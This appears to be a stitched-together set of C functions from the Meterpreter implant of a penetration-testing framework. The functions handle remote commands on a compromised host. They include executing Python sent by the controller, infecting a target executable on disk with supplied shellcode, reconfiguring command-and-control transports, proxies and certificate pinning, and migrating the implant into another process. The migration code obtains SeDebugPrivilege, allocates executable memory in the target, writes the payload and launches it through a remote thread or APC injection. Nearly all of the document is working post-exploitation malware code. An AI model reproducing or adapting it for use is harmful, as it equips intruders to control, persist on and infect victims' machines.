/*! * @brief Execute a block of python given in a string and return the result/output. * @param remote Pointer to the \c Remote making the request. * @param packet Pointer to the request \c Packet. * @returns Indication of success or failure. */ DWORD request_python_execute(Remote* remote, Packet* packet) { DWORD dwResult = ERROR_SUCCESS; Packet* response = packet_create_response(packet); LPBYTE pythonCode = packet_get_tlv_value_raw(packet, TLV_TYPE_EXTENSION_PYTHON_CODE); PyObject* mainModule = PyImport_AddModule("__main__"); PyObject* mainDict = PyModule_GetDict(mainModule); if (pythonCode != NULL) { UINT codeType = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE); CHAR* modName = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME); UINT pythonCodeLength = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN); CHAR* resultVar = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR); python_execute(modName, pythonCode, pythonCodeLength, codeType, resultVar, response); dump_to_packet(stderrBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDERR); clear_std_handler(stderrBuffer); dump_to_packet(stdoutBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDOUT); clear_std_handler(stdoutBuffer); packet_transmit_response(dwResult, remote, response); } return dwResult; }
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; Packet* response = packet_create_response(packet); if (response) { BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE); UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE); BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64); char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE); if (shellcode != NULL) { dprintf("[PEINJECTOR] recived path: %s", target_executable_path); dprintf("[PEINJECTOR] recived shellcode: %s", shellcode); dprintf("[PEINJECTOR] recived size: %d", size); dprintf("[PEINJECTOR] is x64: %d", is_x64); PEINFECT infect; peinfect_init(&infect); __load_config(&infect, shellcode, size, is_x64); uint16_t arch = get_file_architecture(target_executable_path); dprintf("[PEINJECTOR] arch: %d", arch); if (!(arch == 0x014c && is_x64 == true || arch == 0x8664 && is_x64 == false)) { if (peinfect_infect_full_file(target_executable_path, &infect, target_executable_path)) { dprintf("Shellcode injected successfully\n"); } else { dprintf("There was an error, shellcode not injected\n"); packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected"); } } else { dprintf("The architecture of the file is incompatible with the selected payload\n"); packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload"); } packet_transmit_response(dwResult, remote, response); } else { dprintf("[PEINJECTOR] Shellcode parameter missing from call"); dwResult = ERROR_INVALID_PARAMETER; } } return dwResult; }
DWORD request_core_set_uuid(Remote* remote, Packet* packet) { Packet* response = packet_create_response(packet); BYTE *newUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); if (newUuid != NULL) { memcpy(remote->orig_config->session.uuid, newUuid, UUID_SIZE); } if (response) { packet_transmit_response(ERROR_SUCCESS, remote, response); } return ERROR_SUCCESS; }
/*! * @brief Remove a pivot point from the current Meterpreter instance. * @remote Pointer to the \c Remote instance. * @remote Pointer to the incoming request \c Packet instance. * @return Indication of error or success. */ DWORD request_core_pivot_remove(Remote* remote, Packet* packet) { DWORD result = ERROR_NOT_FOUND; LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID); if (pivotId != NULL) { PivotContext* ctx = pivot_tree_remove(remote->pivot_listeners, pivotId); #ifdef DEBUGTRACE dprintf("[PIVOTTREE] Pivot listeners (after one removed)"); dbgprint_pivot_tree(remote->pivot_listeners); #endif if (ctx != NULL) { ctx->remove(ctx->state); free(ctx); result = ERROR_SUCCESS; } } packet_transmit_empty_response(remote, packet, result); return result; }
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) { DWORD result = ERROR_NOT_ENOUGH_MEMORY; Transport* transport = NULL; wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); TimeoutSettings timeouts = { 0 }; int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); // special case, will still leave this in here even if it's not transport related if (sessionExpiry != 0) { remote->sess_expiry_time = sessionExpiry; remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time; } if (timeouts.comms == 0) { timeouts.comms = remote->transport->timeouts.comms; } if (timeouts.retry_total == 0) { timeouts.retry_total = remote->transport->timeouts.retry_total; } if (timeouts.retry_wait == 0) { timeouts.retry_wait = remote->transport->timeouts.retry_wait; } dprintf("[CHANGE TRANS] Url: %S", transportUrl); dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); do { if (transportUrl == NULL) { dprintf("[CHANGE TRANS] Something was NULL"); break; } if (wcsncmp(transportUrl, L"tcp", 3) == 0) { MetsrvTransportTcp config = { 0 }; config.common.comms_timeout = timeouts.comms; config.common.retry_total = timeouts.retry_total; config.common.retry_wait = timeouts.retry_wait; memcpy(config.common.url, transportUrl, sizeof(config.common.url)); transport = remote->trans_create(remote, &config.common, NULL); } else { BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0; wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA); wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST); wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER); wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS); PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); MetsrvTransportHttp config = { 0 }; config.common.comms_timeout = timeouts.comms; config.common.retry_total = timeouts.retry_total; config.common.retry_wait = timeouts.retry_wait; wcsncpy(config.common.url, transportUrl, URL_SIZE); if (proxy) { wcsncpy(config.proxy.hostname, proxy, PROXY_HOST_SIZE); free(proxy); } if (proxyUser) { wcsncpy(config.proxy.username, proxyUser, PROXY_USER_SIZE); free(proxyUser); } if (proxyPass) { wcsncpy(config.proxy.password, proxyPass, PROXY_PASS_SIZE); free(proxyPass); } if (ua) { wcsncpy(config.ua, ua, UA_SIZE); free(ua); } if (certHash) { memcpy(config.ssl_cert_hash, certHash, CERT_HASH_SIZE); // No need to free this up as it's not a wchar_t } transport = remote->trans_create(remote, &config.common, NULL); } // tell the server dispatch to exit, it should pick up the new transport result = ERROR_SUCCESS; } while (0); *transportBufer = transport; return result; }
/*! * @brief Set the current hash that is used for SSL certificate verification. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @returns Indication of success or failure. */ DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet) { DWORD result = ERROR_SUCCESS; Packet* response; do { response = packet_create_response(packet); if (!response) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // no setting of the cert hash if the target isn't a HTTPS transport if (remote->transport->type != METERPRETER_TRANSPORT_HTTPS) { result = ERROR_BAD_ENVIRONMENT; break; } unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; // Support adding a new cert hash if one doesn't exist if (!ctx->cert_hash) { if (certHash) { PBYTE newHash = (unsigned char*)malloc(sizeof(unsigned char)* CERT_HASH_SIZE); if (!newHash) { result = ERROR_NOT_ENOUGH_MEMORY; break; } memcpy(newHash, certHash, CERT_HASH_SIZE); // Set it at the last minute. Mucking with "globals" and all, want to make sure we // don't set it too early.. just in case. ctx->cert_hash = newHash; } else { // at this time, don't support overwriting of the existing hash // as that will cause issues! result = ERROR_BAD_ARGUMENTS; break; } } // support removal of the existing hash else { if (certHash) { result = ERROR_BAD_ARGUMENTS; break; } else { SAFE_FREE(ctx->cert_hash); } } result = ERROR_SUCCESS; } while (0); if (response) { packet_transmit_response(result, remote, response); } return result; }
/*! * @brief Migrate the meterpreter server from the current process into another process. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @param pResult Pointer to the memory that will receive the result. * @returns Indication of whether the server should continue processing or not. */ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; HANDLE hToken = NULL; HANDLE hProcess = NULL; HANDLE hEvent = NULL; BYTE * lpPayloadBuffer = NULL; LPVOID lpMigrateStub = NULL; LPBYTE lpMemory = NULL; LPBYTE lpUuid = NULL; LPCOMMONMIGRATECONTEXT ctx = NULL; DWORD ctxSize = 0; DWORD dwMigrateStubLength = 0; DWORD dwPayloadLength = 0; DWORD dwProcessID = 0; DWORD dwDestinationArch = 0; MetsrvConfig* config = NULL; DWORD configSize = 0; do { response = packet_create_response(packet); if (!response) { dwResult = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the process identifier to inject into dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Get the target process architecture to inject into dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the payload buffer dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN); // Receive the actual migration payload buffer lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); // Get handles to the updated UUIDs if they're there lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); // Get the migrate stub information dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN); lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB); dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); // If we can, get SeDebugPrivilege... if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) { if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); { dprintf("[MIGRATE] Got SeDebugPrivilege!"); } } CloseHandle(hToken); } // Open the process so that we can migrate into it hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); if (!hProcess) { BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") } // get the existing configuration dprintf("[MIGRATE] creating the configuration block"); remote->config_create(remote, lpUuid, &config, &configSize); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); if (remote->transport->get_migrate_context != NULL) { dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx); } else { dwResult = get_migrate_context(&ctxSize, &ctx); } if (dwResult != ERROR_SUCCESS) { dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult); break; } // Create a notification event that we'll use to know when it's safe to exit // (once the socket has been referenced in the other process) hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!hEvent) { BREAK_ON_ERROR("[MIGRATE] CreateEvent failed"); } // Duplicate the event handle for the target process if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) { BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed"); } dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent); // Allocate memory for the migrate stub, context, payload and configuration block lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) { BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed"); } // Calculate the address of the payload... ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize; // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed"); } // Write the migrate context to memory... dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize); if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed"); } // Write the migrate payload to memory... dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength); if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed"); } // finally write the configuration stub dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize); if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed"); } free(ctx); // First we try to migrate by directly creating a remote thread in the target process if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); // If that fails we can try to migrate via a queued APC in the target process if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); } } dwResult = ERROR_SUCCESS; } while (0); SAFE_FREE(config); // If we failed and have not sent the response, do so now if (dwResult != ERROR_SUCCESS && response) { dprintf("[MIGRATE] Sending response"); packet_transmit_response(dwResult, remote, response); } // Cleanup... if (hProcess) { dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess); CloseHandle(hProcess); } if (hEvent) { dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent); CloseHandle(hEvent); } if (pResult) { *pResult = dwResult; } // if migration succeeded, return 'FALSE' to indicate server thread termination. dprintf("[MIGRATE] Finishing migration, result: %u", dwResult); return ERROR_SUCCESS == dwResult ? FALSE : TRUE; }